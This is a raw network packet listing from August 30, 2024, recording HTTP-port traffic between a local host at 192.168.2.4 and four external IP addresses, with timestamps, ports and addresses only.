Aug 30, 2024 03:17:06.892860889 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.892867088 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.892879963 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.892899036 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.893404961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.893445015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.893455982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.893486977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.893495083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.893510103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.893521070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.893531084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.893544912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.893558979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.893572092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.905055046 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905066013 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905075073 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905122042 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.905277014 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905292034 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905302048 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905313015 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905323029 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.905323982 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905333042 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905350924 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.905352116 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905368090 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905369043 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.905380011 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905389071 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905392885 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.905400991 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905409098 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.905412912 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.905421972 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.905442953 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.907001972 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907012939 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907022953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907043934 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.907056093 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.907097101 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907108068 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907123089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907135963 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907138109 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.907145023 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.907166004 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.907221079 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907233000 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907243013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907252073 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907263041 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907267094 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.907277107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907285929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.907285929 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.907299995 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.907321930 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941261053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941323042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941323996 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941334009 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941359043 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941370964 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941389084 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941416025 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941468954 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941479921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941489935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941508055 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941530943 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941546917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941559076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941581964 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941591024 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941596985 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941603899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941615105 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941620111 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941626072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941646099 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941675901 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941675901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941688061 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941698074 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941715956 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941724062 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941726923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941740036 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941740990 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941756964 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941776037 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941884041 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941926956 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941939116 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941970110 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.941983938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.941994905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942006111 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942048073 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942058086 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942075968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942086935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942095995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942110062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942116022 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942126989 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942138910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942140102 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942157984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942167997 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942179918 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942209005 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942265034 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942276001 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942286015 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942297935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942307949 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942308903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942322969 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942332029 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942333937 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942346096 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942346096 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942358971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942372084 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942397118 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942404032 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942415953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942425966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942439079 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942464113 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942579985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942591906 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942603111 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942615032 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942625999 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942625999 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942635059 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942640066 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942651033 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942662001 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942666054 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942687988 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942711115 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942719936 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942730904 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942739964 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942751884 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942761898 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942765951 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942775011 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942785978 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942787886 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942796946 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942801952 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942811966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942831039 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942840099 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942851067 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942852020 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942887068 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942890882 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942903996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942928076 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942950964 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942953110 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.942964077 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942975044 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942986965 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.942994118 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.943002939 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.943015099 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.943017006 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.943038940 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.943058968 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.943176985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.943187952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.943197966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.943209887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.943222046 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.943223000 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.943237066 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.943240881 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.943248987 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.943259954 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.943267107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.943278074 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.943285942 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.943311930 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.963051081 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963098049 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963108063 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963109016 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963135958 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963145971 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963146925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963165998 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963176012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963185072 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963186979 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963202953 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963222980 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963337898 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963382959 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963382959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963396072 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963421106 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963424921 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963435888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963439941 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963447094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963469028 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963470936 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963480949 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963491917 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963517904 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963773966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963784933 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963809013 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963819981 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.963829041 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.963840008 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.963839054 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963854074 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.963855028 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.963859081 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.963871002 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.963875055 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.963901997 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.963928938 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.963958025 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963968039 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963978052 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963989019 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963999033 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.963999987 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.964015961 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964027882 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.964027882 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964037895 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.964068890 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.964116096 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964127064 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964137077 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964148045 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964159012 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964162111 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.964169025 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964174032 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.964181900 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964194059 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964212894 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964227915 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964236975 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964245081 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964256048 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.964256048 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964258909 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964267969 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964303970 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964317083 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964338064 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964349031 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964358091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964370012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964385033 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.964407921 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.964548111 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964560032 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964570045 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.964580059 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964596033 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964600086 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.964607000 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964617968 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964617968 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964618921 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.964629889 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964637041 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964641094 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964663982 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964668036 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964675903 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964679003 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964688063 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964698076 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964704990 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964709044 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964714050 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964720011 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964729071 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964739084 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964761972 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964782953 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964802027 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964813948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964823008 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964833021 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964840889 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964843988 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964854956 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964855909 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964867115 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.964876890 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964890957 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.964907885 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965086937 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965097904 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965106010 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965116978 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965125084 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965127945 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965138912 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965148926 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965150118 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965159893 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965171099 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965172052 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965181112 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965183973 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965192080 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965204000 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965214014 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965218067 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965226889 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965235949 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965238094 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965249062 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965275049 CEST	49735	80	192.168.2.4	31.41.244.9
